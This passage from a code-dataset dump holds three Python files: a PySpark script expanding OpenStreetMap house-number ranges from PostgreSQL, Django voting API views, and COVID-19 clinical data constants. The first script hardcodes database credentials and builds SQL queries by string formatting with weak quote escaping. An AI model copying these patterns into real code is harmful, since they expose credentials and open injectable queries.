max_hsn)\r\n\r\n# Sample preprocessing logic for get_hnr_df (replace with your actual logic)\r\ndef get_hnr_df_udf(interpolation):\r\n # Sample logic to produce the house number range\r\n if interpolation == \"alphabetic\":\r\n # Your alphabetic interpolation logic here\r\n hnr_range = \"Alphabetic Range\"\r\n else:\r\n # Your numeric interpolation logic here\r\n hnr_range = \"Numeric Range\"\r\n\r\n return hnr_range\r\n\r\n# Sample preprocessing logic for get_alphabetic_hnr_df_udf\r\n# Sample preprocessing logic for get_alphabetic_hnr_df_udf\r\ndef get_alphabetic_hnr_df_udf(min_hsn, max_hsn):\r\n # Extract the first character from min_hsn and max_hsn\r\n first_char = max_hsn[0]\r\n\r\n # Extract numeric part of hsn if present, or assume 1 as the minimum\r\n min_numeric = int(min_hsn[1:]) if min_hsn[1:].isdigit() else 1\r\n max_numeric = int(max_hsn[1:]) if max_hsn[1:].isdigit() else 1\r\n\r\n # Sample logic to produce alphabetic variance house number ranges\r\n hnr_range = [f\"{first_char}{i}\" for i in range(min_numeric, max_numeric + 1)]\r\n\r\n return hnr_range\r\n\r\n\r\n# Sample logic for correct_hnr_array (replace with your actual logic)\r\ndef correct_hnr_array_udf(arr):\r\n if isinstance(arr, float): # Check for None or float\r\n return []\r\n\r\n if isinstance(arr, list):\r\n corrected_arr = []\r\n for item in arr:\r\n if pd.notna(item): # Check for non-NaN items\r\n if isinstance(item, int):\r\n corrected_arr.append(item)\r\n elif isinstance(item, str) and ';' in item:\r\n corrected_arr.extend(item.split(';'))\r\n else:\r\n corrected_arr.append(item)\r\n return corrected_arr\r\n\r\n return []\r\n\r\n# Define the get_numeric_hnr_df_udf UDF\r\ndef get_numeric_hnr_df_udf(min_hsn, max_hsn, interpolation):\r\n hnr_array = []\r\n\r\n def safe_int(value):\r\n try:\r\n return int(value)\r\n except (ValueError, TypeError):\r\n return None\r\n\r\n min_hsn_numeric = safe_int(min_hsn)\r\n max_hsn_numeric = safe_int(max_hsn)\r\n\r\n if min_hsn_numeric is not None and max_hsn_numeric is not None:\r\n if interpolation == \"even\":\r\n for i in range(min_hsn_numeric, max_hsn_numeric + 1, 2):\r\n hnr_array.append(str(i))\r\n elif interpolation == \"odd\":\r\n for i in range(min_hsn_numeric + 1, max_hsn_numeric + 1, 2):\r\n hnr_array.append(str(i))\r\n else:\r\n for i in range(min_hsn_numeric, max_hsn_numeric + 1):\r\n hnr_array.append(str(i))\r\n\r\n return hnr_array\r\n\r\n\r\n\r\n\r\ndef get_country_schema(country: str, conn: connection) -> str:\r\n \"\"\"\r\n :param conn:\r\n :param country: Country Name in ISO-3 Code\r\n :return: Schema for Given ISO-3 Country Code\r\n \"\"\"\r\n # Schemas. list in PostgreSQL database.\r\n schemas_df = pd.read_sql('select * from pg_catalog.pg_namespace', con=conn)\r\n # conn.close()\r\n return schemas_df.loc[schemas_df.nspname.str.contains(f'_{country}')].nspname.iloc[0]\r\n\r\n\r\ndef adminAreaList(schema: str, admin_level: str, conn: connection) -> list:\r\n adminlist = \"\"\"\r\n SELECT \"name\" \r\n FROM {schema}.planet_osm_polygon\r\n where boundary= 'administrative' and admin_level = '{admin_level}'\"\"\".format(schema=schema, admin_level=admin_level)\r\n schemas_df = pd.read_sql(adminlist, con=conn)\r\n # conn.close()\r\n AdminNames = [i for i in schemas_df.name]\r\n return AdminNames\r\n\r\ndef format_query(schema, admin_level,admin) -> str:\r\n query = \"\"\"with sample as(SELECT osm_id as aa8_osm_id ,\"name\" as index_searched_query,ST_SetSRID(way, 4326) as coordinates\r\n FROM \"{schema}\".planet_osm_polygon\r\n where boundary= 'administrative' and admin_level = '{admin_level}' and \"name\" = '{admin}'\r\n )\r\n\r\n, tags as (\r\nselect distinct skeys(tags) keys\r\nfrom \"{schema}\".planet_osm_polygon pop\r\nwhere admin_level in ('4', '8')\r\n)\r\n\r\n, hnr_way as (\r\nselect sample.aa8_osm_id, sample.index_searched_query, pol.* \r\nfrom {schema}.planet_osm_line pol \r\njoin sample on ST_Intersects(pol.way, sample.coordinates)\r\nwhere \"addr:interpolation\" is not null \r\n\r\n)\r\n\r\n, name_tags as (\r\nselect *\r\nfrom tags\r\nwhere (keys like '%name:%' or keys like '%alt%name') and keys not like '%pronunciation%'\r\n)\r\n\r\n, hsn_tags as (\r\nselect distinct skeys(tags) keys\r\nfrom \"{schema}\".planet_osm_point\r\nwhere \"addr:housenumber\" is not null or tags::text like '%addr:housenumber%'\r\n)\r\n, hsn_keys as (\r\nselect * from hsn_tags where (keys like '%addr:housenumber%')\r\n)\r\n\r\n, address_ranges as (\r\nselect \r\n\thnr_way.index_searched_query\r\n, hnr_way.aa8_osm_id\r\n,\thnr_way.osm_id\r\n, ST_astext(hnr_way.way) way\r\n, hnr_way.\"addr:interpolation\" as interpolation\r\n, hnr_way.tags\r\n, hnr_way.tags->'addr:street' as road_name_way\r\n, hnr_way.tags->'addr:interpolation' as interpolation_tag\r\n, hnr_way.\"name\"\r\n, unnest(ways.nodes) nodes\r\n\r\nfrom hnr_way\r\njoin \"{schema}\".planet_osm_ways ways on ways.id = hnr_way.osm_id\r\n\r\n) \r\n\r\n, hsn as (\r\nselect\r\npop.tags as tags_hsn\r\n, array_remove(array_append(pop.tags -> array((select keys from hsn_keys )), pop.\"addr:housenumber\"), null) as range_hsn\r\n, address_ranges.*\r\nfrom address_ranges\r\nleft join \"{schema}\".planet_osm_point pop\r\non pop.osm_id = address_ranges.nodes\r\nwhere pop.tags is not null and pop.tags-> 'layer_id' = '15633'\r\n)\r\n\r\n, hsn_long as (\r\n select\r\n hsn.osm_id\r\n, hsn.index_searched_query\r\n, hsn.aa8_osm_id\r\n--, hsn.coordinates\r\n, hsn.tags as tags_network\r\n, hsn.road_name_way\r\n, hsn.interpolation\r\n, hsn.interpolation_tag\r\n, hsn.way\r\n, hsn.name\r\n, first_value(tags_hsn) over(partition by osm_id) as first_tags_hsn\r\n, unnest(range_hsn) as range_hsn\r\nfrom hsn\r\n)\r\n,addressrangesfinal as (select\r\n hsn_long.osm_id\r\n, hsn_long.way\r\n, min(range_hsn) as min_hsn\r\n, max(range_hsn) as max_hsn\r\n, hsn_long.index_searched_query\r\n, hsn_long.aa8_osm_id\r\n--, ST_AsText(hsn_long.coordinates) as coordinates\r\n, hsn_long.tags_network\r\n, hsn_long.road_name_way\r\n, hsn_long.interpolation\r\n, hsn_long.interpolation_tag\r\n, hsn_long.name\r\n, first_tags_hsn as tags\r\n, array_agg(distinct range_hsn) as intermediates\r\nfrom hsn_long\r\ngroup by\r\n hsn_long.osm_id\r\n, hsn_long.index_searched_query\r\n, hsn_long.aa8_osm_id\r\n--, coordinates\r\n, hsn_long.tags_network\r\n, hsn_long.road_name_way\r\n, hsn_long.interpolation\r\n, hsn_long.interpolation_tag\r\n, hsn_long.way\r\n, hsn_long.name\r\n, first_tags_hsn)\r\n\r\n\r\nselect * from addressrangesfinal\r\n\"\"\".format(schema=schema, admin_level=admin_level,admin = admin)\r\n\r\n return query\r\n\r\n\r\n\r\n\r\nhost = '10.137.173.42'\r\ndatabase = 'ggg'\r\nuser = 'ggg'\r\npassword = 'ok'\r\nport = 5432\r\n\r\n# establish connection\r\nconn = psycopg2.connect(host=host, database=database, user=user, password=password, port=port)\r\n\r\n# schema = get_country_schema('fra', conn)\r\n\r\n# admin = adminAreaList(schema,'8',conn)\r\n\r\n# print(admin)\r\n\r\n# Main Code\r\nall_dfs = []\r\nfor country in ['fra']:\r\n country_schema = get_country_schema(country,conn)\r\n adminOrder = adminAreaList(country_schema,'8',conn)\r\n\r\n for admin in adminOrder:\r\n adminnew = admin.replace(\"'\", '\"')\r\n formatted_query = format_query(country_schema, '8',adminnew)\r\n # Define the PGSQL server connection properties\r\n host = '10.137.173.42'\r\n database = 'ggg'\r\n user = 'ggg'\r\n password = 'ok'\r\n port = 5432\r\n\r\n # Define the PGSQL server connection properties\r\n pg_properties = {\r\n \"user\": \"ggg\",\r\n \"password\": \"ok\",\r\n \"driver\": \"org.postgresql.Driver\",\r\n \"url\": \"jdbc:postgresql://10.137.173.42:5432/ggg\"\r\n }\r\n\r\n # Step 4: Read data from PostgreSQL\r\n df = spark.read.jdbc(url=pg_properties[\"url\"], table=f\"({formatted_query}) as subquery\", properties=pg_properties)\r\n\r\n # Add a new column \"country\" with the value 'FRA' to every row\r\n df = df.withColumn(\"country\", lit(country))\r\n\r\n # Register the UDF function with PySpark\r\n udf_parse_hnr_tags = udf(parse_hnr_tags, StructType([\r\n StructField(\"constant\", StringType(), True),\r\n StructField(\"interpolation_value\", StringType(), True),\r\n StructField(\"interpolation\", StringType(), True),\r\n StructField(\"intermediates\", StringType(), True),\r\n StructField(\"street\", StringType(), True)\r\n ]))\r\n\r\n # Apply the UDF to the DataFrame \"parse_hnr_tags\" function\r\n df = df.withColumn(\"parsed_hnr_tags\", udf_parse_hnr_tags(df[\"tags\"], df[\"tags_network\"], df[\"interpolation\"]))\r\n\r\n # Register the UDF function with PySpark\r\n udf_preprocess_hnr_hsn = udf(preprocess_hnr_hsn_udf, StructType([\r\n StructField(\"min_hsn_numeric\", StringType(), True),\r\n StructField(\"max_hsn_numeric\", StringType(), True)\r\n ]))\r\n\r\n # Apply the UDF to the DataFrame \"udf_preprocess_hnr_hsn\"\r\n df = df.withColumn(\"preprocessed_hsn\", udf_preprocess_hnr_hsn(df[\"min_hsn\"], df[\"max_hsn\"]))\r\n\r\n # Register the UDF function with PySpark\r\n udf_get_hnr_df = udf(get_hnr_df_udf, StringType())\r\n\r\n\r\n # Apply the UDF to the DataFrame\r\n df = df.withColumn(\"hnr_range\", udf_get_hnr_df(df[\"interpolation\"]))\r\n\r\n # Register the get_alphabetic_hnr_df_udf UDF with PySpark\r\n udf_get_alphabetic_hnr_df = udf(get_alphabetic_hnr_df_udf, ArrayType(StringType()))\r\n\r\n # Apply the get_alphabetic_hnr_df_udf UDF to the DataFrame with alphabetic data\r\n df = df.withColumn(\"hnr_range\", udf_get_alphabetic_hnr_df(df[\"min_hsn\"], df[\"max_hsn\"]))\r\n # Show the results for alphabetic data\r\n # df.show(truncate=False)\r\n\r\n # Register the get_numeric_hnr_df_udf UDF with PySpark\r\n udf_get_numeric_hnr_df = udf(get_numeric_hnr_df_udf, ArrayType(StringType()))\r\n\r\n # Apply the get_numeric_hnr_df_udf UDF to the DataFrame with numeric data\r\n df = df.withColumn(\"hnr_array\",udf_get_numeric_hnr_df(df[\"min_hsn\"], df[\"max_hsn\"],df[\"interpolation\"]))\r\n\r\n # Register the UDF function with PySpark\r\n udf_correct_hnr_array = udf(correct_hnr_array_udf, ArrayType(StringType()))\r\n\r\n # # Apply the UDF to the DataFrame\r\n df = df.withColumn(\"corrected_hnr_array\", udf_correct_hnr_array(df[\"hnr_array\"]))\r\n # Count the elements in the \"corrected_hnr_array\" column and create a new column \"hnr_array_count\"\r\n df = df.withColumn(\"hnr_array_count\", size(col(\"corrected_hnr_array\")).cast(\"int\"))\r\n # Filter out rows with empty arrays in the \"corrected_hnr_array\" column\r\n df = df.filter(size(col(\"corrected_hnr_array\")) > 0)\r\n # Assuming you have a DataFrame named 'df'\r\n df = df.withColumn(\"Road_Line\", lit(1))\r\n\r\n # # # Select and keep only the specified columns\r\n df = df.select(\"country\",\"interpolation\", \"hnr_array_count\",\"hnr_array\", \"Road_Line\" )\r\n\r\n\r\n #aggregations on the columns \"hnr_array_count\" and \"Road_Line\" for each group\r\n\r\n\r\n df = df.groupBy(\"country\", \"interpolation\").agg(sum(\"hnr_array_count\").alias(\"expaned_addresses_count\"),sum(\"Road_Line\").alias(\"interpolation_line_count\"))\r\n\r\n df.show()\r\n\r\n break\r\n\r\n\r\n\r\n\r\n # # Group by \"country\" and \"interpolation,\" and count \"hnr_array_count\" for each group\r\n # df = df.groupBy(\"country\", \"interpolation\").agg(count(\"hnr_array_count\").alias(\"count\"))\r\n\r\n # To add row count, you can modify the aggregation like this:\r\n\r\n\r\n\r\n # all_dfs.append(df)\r\n\r\n# # Concatenate the DataFrames and store the result in a new DataFrame\r\n# concatenated_df = all_dfs[0]\r\n# for df in all_dfs[1:]:\r\n# concatenated_df = concatenated_df.union(df)\r\n#\r\n# # Show the concatenated DataFrame\r\n# concatenated_df.show()\r\n\r\nspark.stop()\r\n\r\n\r\n\r\n\r\n","repo_name":"amolparande-tomtom/addressranges","sub_path":"addressRangesParallel.py","file_name":"addressRangesParallel.py","file_ext":"py","file_size_in_byte":14127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74595800250","text":"from django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom .models import Question, Choice, SerialNumber, Vote, JudgeVote\nfrom .serializers import QuestionSerializer, ChoiceCountSerializer\nfrom django.db.models import Count\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db import transaction\nfrom django.contrib.auth.decorators import user_passes_test\n\n\n@api_view([\"GET\"])\ndef question_list_view(request, format=None):\n if request.method == \"GET\":\n questions = Question.objects.all()\n serializer = QuestionSerializer(questions, many=True)\n return Response(serializer.data)\n\n\n@api_view([\"GET\"])\ndef vote_count_view(request, id: int, format=None):\n if request.method == \"GET\":\n choices = Choice.objects.filter(question__id=id).annotate(count=Count('vote'))\n serializer = ChoiceCountSerializer(choices, many=True)\n return Response(serializer.data)\n\n\n@api_view([\"GET\"])\ndef judge_vote_count_view(request, id: int, format=None):\n if request.method == \"GET\":\n choices = Choice.objects.filter(question__id=id).annotate(count=Count('judge_vote'))\n serializer = ChoiceCountSerializer(choices, many=True)\n return Response(serializer.data)\n\n\n@transaction.atomic\n@api_view([\"POST\"])\ndef update_vote_view(request, question_id: int, format=None):\n if request.method == \"POST\":\n try:\n # Get question\n try:\n question = Question.objects.get(id=question_id)\n except ObjectDoesNotExist:\n raise AssertionError(\"Question doesn't exits\")\n\n if not question.enable:\n raise AssertionError(\"Question is locked\")\n\n # Assert that input is dictionary\n assert type(request.data) == dict, \"Input must be dictionary\"\n\n # Check serial number\n serial_number = request.data[\"serial_number\"]\n assert type(serial_number) == str, \"Serial number must be string\"\n try:\n serial_number_obj = SerialNumber.objects.get(serial_number=serial_number)\n except ObjectDoesNotExist:\n raise AssertionError(\"Serial number is not valid\")\n\n if not serial_number_obj.enable:\n raise AssertionError(\"Serial number valid but not eligible to vote\")\n\n # Check if choices ID are malformated\n choices_ids = request.data[\"choice_ids\"]\n for id in choices_ids:\n assert type(id) == int, \"choice ID must be integer\"\n\n # Check if choices are valid\n num_valid_choices = Choice.objects.filter(id__in=choices_ids, question__id=question_id).count()\n assert len(choices_ids) == num_valid_choices, \"Some choices are not valid\"\n\n # Check if the number of choices are valid\n assert question.min_num_chosen <= num_valid_choices <= question.max_num_chosen,\\\n \"The number of choices is not in range [%d, %d]\" % (question.min_num_chosen,\n question.max_num_chosen)\n\n vote_category = JudgeVote if serial_number_obj.is_judge else Vote\n vote_category.objects.filter(serial_number=serial_number_obj, choice__question__id=question_id).delete()\n for id in choices_ids:\n new_record = vote_category(serial_number=serial_number_obj, choice=Choice.objects.get(id=id))\n new_record.save()\n return Response({\"detail\": \"success\"})\n\n except KeyError as e:\n return Response({\"detail\": \"Malformated input\"}, status.HTTP_400_BAD_REQUEST)\n except AssertionError as e:\n return Response({\"detail\": str(e)}, status.HTTP_400_BAD_REQUEST)\n\n\n@transaction.atomic\n@api_view([\"GET\"])\ndef get_selected_view(request, serial_number, format=None):\n if request.method == \"GET\":\n try:\n # Check serial number\n assert type(serial_number) == str, \"Serial number must be string\"\n try:\n serial_number_obj = SerialNumber.objects.get(serial_number=serial_number)\n except ObjectDoesNotExist:\n raise AssertionError(\"Serial number is not valid\")\n\n result = Vote.objects.filter(serial_number__serial_number=serial_number)\\\n .select_related('choice')\n judge_result = JudgeVote.objects.filter(serial_number__serial_number=serial_number)\\\n .select_related('choice')\n return Response([{\"question\": item.choice.question.id,\n \"choice\": item.choice.id} for item in result] +\n [{\"question\": item.choice.question.id,\n \"choice\": item.choice.id} for item in judge_result])\n except AssertionError as e:\n return Response({\"detail\": str(e)}, status.HTTP_400_BAD_REQUEST)\n\n\ndef change_serial_number_state(serial_numbers, state):\n for serial_number in serial_numbers:\n try:\n serial_number_obj = SerialNumber.objects.get(serial_number=serial_number)\n serial_number_obj.enable = state\n serial_number_obj.save()\n except ObjectDoesNotExist:\n SerialNumber(serial_number=serial_number, enable=state).save()\n return Response({\"detail\": \"success\"})\n\n\n@user_passes_test(lambda u: u.is_superuser, login_url='/admin')\n@api_view([\"POST\"])\ndef enable_serial_number(request):\n if request.method == \"POST\":\n return change_serial_number_state(request.data, True)\n\n\n@user_passes_test(lambda u: u.is_superuser, login_url='/admin')\n@api_view([\"POST\"])\ndef disable_serial_number(request):\n if request.method == \"POST\":\n return change_serial_number_state(request.data, False)\n","repo_name":"LouYu2015/voting-server","sub_path":"voting/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36541545843","text":"import numpy as np\nimport pandas as pd\nimport datetime\n\n# explicitly require this experimental feature\nfrom sklearn.experimental import enable_iterative_imputer # noqa\nfrom sklearn.impute import IterativeImputer, KNNImputer\n\nfrom analyzer.utils import remove_missing\n\n# ICD9 COVID diagnosis Italian codes\nLIST_DIAGNOSIS = ['4808', '4803', 'V0182', '7982']\nLIST_REMOVE_COMORBIDITIES = [\"Immunizations and screening for infectious disease\",\n \"Pneumonia (except that caused by tuberculosis or Genderually transmitted disease)\",\n \"Respiratory failure; insufficiency; arrest (adult)\",\n \"Residual codes; unclassified\",\n \"Diabetes mellitus without complication\",\n \"Diabetes mellitus with complications\",\n \"Influenza\",\n \"Acute and unspecified renal failure\"]\n\nSWAB_WITH_LAB_COLUMNS = ['Age',\n 'Gender',\n 'Body Temperature',\n #'Systolic Blood Pressure',\n 'Respiratory Frequency',\n 'Cardiac Frequency',\n 'C-Reactive Protein (CRP)',\n 'Blood Calcium',\n 'CBC: Leukocytes',\n 'Aspartate Aminotransferase (AST)',\n 'ABG: PaO2',\n 'Prothrombin Time (INR)',\n 'CBC: Hemoglobin',\n 'ABG: pH',\n 'Cholinesterase',\n 'Blood Urea Nitrogen (BUN)',\n 'ABG: MetHb',\n 'Total Bilirubin',\n 'CBC: Mean Corpuscular Volume (MCV)',\n 'Glycemia']\n\nSUBSET_COLUMNS_WITHOUT_ABG = ['Age', 'Gender', 'Body Temperature', \n 'ABG: Oxygen Saturation (SaO2)','Cardiac Frequency', 'Respiratory Frequency', \n #'Systolic Blood Pressure', \n 'Alanine Aminotransferase (ALT)', 'Aspartate Aminotransferase (AST)', \n 'Total Bilirubin', 'Blood Calcium', 'Blood Creatinine', 'Blood Sodium', \n 'Blood Urea Nitrogen (BUN)', 'CBC: Hemoglobin', 'CBC: Mean Corpuscular Volume (MCV)', \n 'CBC: Platelets', 'CBC: Red cell Distribution Width (RDW)', 'CBC: Leukocytes', \n 'C-Reactive Protein (CRP)', 'Prothrombin Time (INR)']\n\nCOLUMNS_WITHOUT_ABG = ['Age', 'Gender', 'Body Temperature', 'Cardiac Frequency',\n 'Respiratory Frequency', 'ABG: Oxygen Saturation (SaO2)',\n #'Systolic Blood Pressure', \n 'Activated Partial Thromboplastin Time (aPTT)', 'Blood Urea Nitrogen (BUN)',\n 'Alanine Aminotransferase (ALT)', 'Aspartate Aminotransferase (AST)',\n 'Blood Amylase', 'Blood Calcium', 'Blood Creatinine', 'Blood Sodium',\n 'C-Reactive Protein (CRP)', 'CBC: Hemoglobin', 'CBC: Leukocytes',\n 'CBC: Mean Corpuscular Volume (MCV)', 'CBC: Platelets',\n 'CBC: Red cell Distribution Width (RDW)', 'Cholinesterase',\n 'Glycemia', 'Potassium Blood Level',\n 'Prothrombin Time (INR)', 'Total Bilirubin']\n\nSPANISH_ITALIAN_DATA = ['Age', 'Gender', 'Body Temperature', \n 'ABG: Oxygen Saturation (SaO2)', 'Cardiac Frequency', \n # 'Systolic Blood Pressure', 'Essential hypertension',\n 'Alanine Aminotransferase (ALT)', 'Aspartate Aminotransferase (AST)', \n 'Blood Creatinine', 'Blood Sodium', 'Blood Urea Nitrogen (BUN)', \n 'Potassium Blood Level', 'CBC: Hemoglobin', 'CBC: Mean Corpuscular Volume (MCV)', \n 'CBC: Platelets', 'CBC: Leukocytes', 'C-Reactive Protein (CRP)', 'Glycemia', \n 'Prothrombin Time (INR)', 'Cardiac dysrhythmias', 'Chronic kidney disease', \n 'Coronary atherosclerosis and other heart disease', 'Diabetes']\n\n\n# Discharge codes\n# 1,2,5,6,9 = discharged, 4 = deceased\nDISCHARGE_CODES = [1, 2, 4, 5, 6, 9]\nDISCHARGE_CODE_RELEASED = 4\n\nDIAGNOSIS_COLUMNS = ['Dia1', 'Dia2', 'Dia3', 'Dia4', 'Dia5']\nDEMOGRAPHICS_FEATURES = ['Gender', 'Age', 'Outcome']\n\n\nRENAMED_LAB_COLUMNS = {\n 'ALT: ALT': 'Alanine Aminotransferase (ALT)',\n 'AST: AST': 'Aspartate Aminotransferase (AST)',\n 'Creatinina UAR: CREATININA SANGUE': 'Blood Creatinine',\n 'Potassio: POTASSIEMIA': 'Potassium Blood Level',\n 'Proteina C Reattiva: PCR - PROTEINA C REATTIVA': 'C-Reactive Protein (CRP)',\n 'Glucosio ematico: GLICEMIA': 'Glycemia',\n 'Azoto ematico UAR: AZOTO UREICO EMATICO': 'Blood Urea Nitrogen (BUN)',\n 'Emogasanalisi su sangue arterioso: ACIDO LATTICO': 'ABG: Lactic Acid',\n 'Emogasanalisi su sangue arterioso: IONE BICARBONATO STD': 'ABG: standard bicarbonate (sHCO3)',\n 'Emogasanalisi su sangue arterioso: ECCESSO DI BASI': 'ABG: Base Excess',\n 'Emogasanalisi su sangue arterioso: PO2': 'ABG: PaO2',\n 'Emogasanalisi su sangue arterioso: OSSIGENO SATURAZIONE': 'ABG: Oxygen Saturation (SaO2)',\n 'Emogasanalisi su sangue arterioso: PCO2': 'ABG: PaCO2',\n 'Emogasanalisi su sangue arterioso: PH EMATICO': 'ABG: pH',\n 'Emogasanalisi su sangue arterioso: CARBOSSIEMOGLOBINA': 'ABG: COHb',\n 'Emogasanalisi su sangue arterioso: METAEMOGLOBINA': 'ABG: MetHb',\n 'Sodio: SODIEMIA': 'Blood Sodium',\n 'TEMPO DI PROTROMBINA UAR: TEMPO DI PROTROMBINA RATIO': 'Prothrombin Time (INR)',\n 'TEMPO DI TROMBOPLASTINA PARZIALE: TEMPO DI TROMBOPLASTINA PARZIALE ATTIVATO': 'Activated Partial Thromboplastin Time (aPTT)',\n 'Calcemia: CALCEMIA': 'Blood Calcium',\n 'BILIRUBINA TOTALE REFLEX: BILIRUBINA TOTALE': 'Total Bilirubin',\n 'Amilasi: AMILASI NEL SIERO' : 'Blood Amylase',\n 'Colinesterasi: COLINESTERASI': 'Cholinesterase',\n 'Emocromocitometrico (Urgenze): VOLUME CORPUSCOLARE MEDIO': 'CBC: Mean Corpuscular Volume (MCV)',\n 'Emocromocitometrico (Urgenze): PIASTRINE': 'CBC: Platelets',\n 'Emocromocitometrico (Urgenze): VALORE DISTRIBUTIVO GLOBULI ROSSI': 'CBC: Red cell Distribution Width (RDW)',\n 'Emocromocitometrico (Urgenze): LEUCOCITI': 'CBC: Leukocytes',\n 'Emocromocitometrico (Urgenze): EMOGLOBINA': 'CBC: Hemoglobin',\n }\n\nVITAL_SIGNS = ['SaO2',\n 'P. Max',\n # 'P. Min', # Keep only max because it is more precise\n 'F. Card.',\n 'F. Resp.',\n 'Temp.',\n 'Dolore',\n 'GCS',\n 'STICKGLI']\n\nRENAMED_VITALS_COLUMNS = {\n \"P. Max\": \"Systolic Blood Pressure\",\n # \"P. Min\": \"Diastolic Blood Pressure\",\n \"F. Card.\": \"Cardiac Frequency\",\n \"Temp.\": \"Body Temperature\",\n \"F. Resp.\": \"Respiratory Frequency\"\n }\n\n\nLAB_FEATURES_NOT_CONTAIN = ['NOTA', # Remove notes\n 'AFRO', # No normalized creatinine\n 'CAUCAS', # No normalized creatinine\n 'UREA EMATICA' # We keep BUN directly\n ]\nLAB_FEATURES_NOT_MATCH = ['IONE BICARBONATO', # We keep standard directly\n '(PT) TEMPO DI PROTROMBINA', # We keep only Prothrombin Time\n 'HCT', # Remove Hematocrit to keep Hemoglobin\n 'EMATOCRITO', # Remove Hematocrit to keep Hemoglobin\n 'ERITROCITI', # Redundant with Hemoglobin\n 'BE(ECF)', # Remove Base Excess ECF (Keep normal one BE)\n 'CTCO2', # Redundant with PaCO2\n 'FHHB', # Redundant with Hemoglobin (also with Hematocrit)\n 'FO2HB', # Redundant with Hemoglobin\n 'CALCIO IONIZZATO', # Redundant with Blood Calcium\n 'CONCENTRAZIONE HB MEDIA', # Redundant with MCV\n 'CONTENUTO HB MEDIO', # Redundant with MCV\n 'CLORUREMIA', # Redundant with Sodium\n ]\n\nCOLS_TREATMENTS = ['HOSPITAL', 'COUNTRY', 'DT_HOSPITAL_ADMISSION', 'GENDER',\n 'RACE', 'PREGNANT', 'AGE', 'DIABETES', 'HYPERTENSION',\n 'DISLIPIDEMIA', 'OBESITY', 'SMOKING', 'RENALINSUF',\n 'ANYLUNGDISEASE', 'AF', 'VIH', 'ANYHEARTDISEASE',\n 'MAINHEARTDISEASE', 'ANYCEREBROVASCULARDISEASE', 'CONECTIVEDISEASE',\n 'LIVER_DISEASE', 'CANCER', 'HOME_OXIGEN_THERAPY', 'IN_PREVIOUSASPIRIN',\n 'IN_OTHERANTIPLATELET', 'IN_ORALANTICOAGL', 'IN_ACEI_ARB', 'IN_BETABLOCKERS',\n 'IN_BETAGONISTINHALED', 'IN_GLUCORTICOIDSINHALED','IN_DVITAMINSUPLEMENT',\n 'IN_BENZODIACEPINES', 'IN_ANTIDEPRESSANT', 'FAST_BREATHING', 'MAXTEMPERATURE_ADMISSION',\n 'SAT02_BELOW92', 'DDDIMER_B', 'PROCALCITONIN_B', 'PCR_B', 'TRANSAMINASES_B', 'LDL_B',\n 'BLOOD_PRESSURE_ABNORMAL_B', 'CREATININE', 'SODIUM', 'LEUCOCYTES', 'LYMPHOCYTES',\n 'HEMOGLOBIN', 'PLATELETS', 'GLASGOW_COMA_SCORE', 'CHESTXRAY_BNORMALITY',\n 'CORTICOSTEROIDS', 'INTERFERONOR', 'TOCILIZUMAB', 'ANTIBIOTICS','ACEI_ARBS',\n 'ONSET_DATE_DIFF', 'TEST_DATE_DIFF', 'CLOROQUINE', 'ANTIVIRAL','ANTICOAGULANTS',\n 'REGIMEN', 'DEATH', 'COMORB_DEATH']\n\n# This is the list of HCUP used for the mortality paper\nCOVID_MORTALITY_PAPER_HCUP_LIST = [49,50,87,90,95,146]\n\nDIABETES = [49, 50, 174]\nHYPERTENSION = [87, 88, 171]\nDISLIPIDEMIA = [53]\nOBESITY = [58]\nRENALINSUF = [146]\nANYLUNGDISEASE = [116, 117, 121, 122]\nAF = [95]\nVIH = [5]\nANYHEARTDISEASE = [90, 92, 93, 95]\nANYCEREBROVASCULARDISEASE = [98, 100, 101, 102]\nCONECTIVEDISEASE = [198, 199]\nLIVER_DISEASE = [6, 139]\nCANCER = [11, 12, 13, 14, 15, 16, 17, 18, 19, \n 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, \n 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, \n 40, 41, 42, 43]\n# HCUP_LIST FOR THE TREATMENTS PAPER \nCOMORBS_TREATMENTS_NAMES = ['DIABETES', 'HYPERTENSION', 'DISLIPIDEMIA', 'OBESITY', 'RENALINSUF',\n 'ANYLUNGDISEASE', 'AF', 'VIH', 'ANYHEARTDISEASE', 'ANYCEREBROVASCULARDISEASE',\n 'CONECTIVEDISEASE', 'LIVER_DISEASE', 'CANCER']\n\nCOMORBS_TREATMENTS_HCUP = [DIABETES, HYPERTENSION, DISLIPIDEMIA, OBESITY, RENALINSUF,\n ANYLUNGDISEASE, AF, VIH, ANYHEARTDISEASE, ANYCEREBROVASCULARDISEASE,\n CONECTIVEDISEASE, LIVER_DISEASE, CANCER]\n\n\nHCUP_LIST = list(set(DIABETES + HYPERTENSION + DISLIPIDEMIA + OBESITY + RENALINSUF + \\\n ANYLUNGDISEASE + AF + VIH + ANYHEARTDISEASE + ANYCEREBROVASCULARDISEASE + \\\n CONECTIVEDISEASE + LIVER_DISEASE + CANCER))\n\n# HOPE TREATMENTS\n\nIN_TREATMENTS_NAME = ['HOME_OXIGEN_THERAPY', 'IN_ACEI_ARB', 'IN_BETABLOCKERS', 'IN_BETAGONISTINHALED',\n 'IN_GLUCORTICOIDSINHALED', 'IN_DVITAMINSUPLEMENT', 'IN_BENZODIACEPINES', 'IN_ANTIDEPRESSANT']\n\nIN_TREATMENTS_LONG_NAME = ['IN_PREVIOUSASPIRIN', 'IN_OTHERANTIPLATELET', 'IN_ORALANTICOAGL']\n\nHOME_OXIGEN_THERAPY = 'V03AN01'\nIN_PREVIOUSASPIRIN = ['N02BA', 'B01AC06']\nIN_OTHERANTIPLATELET = ['B01AC24', 'B01AC04', 'B01AC05', 'B01AC11', 'B01AC30', 'B01AC10']\nIN_ORALANTICOAGL = ['B01AA', 'B01AE', 'B01AF']\nIN_ACEI_ARB = 'C09'\nIN_BETABLOCKERS = 'C07A'\nIN_BETAGONISTINHALED = 'R03AC'\nIN_GLUCORTICOIDSINHALED = 'R03BA'\nIN_DVITAMINSUPLEMENT = 'A11CC'\nIN_BENZODIACEPINES = 'N05B'\nIN_ANTIDEPRESSANT = 'N06A'\n\nIN_TREATMENTS = [HOME_OXIGEN_THERAPY, IN_ACEI_ARB, 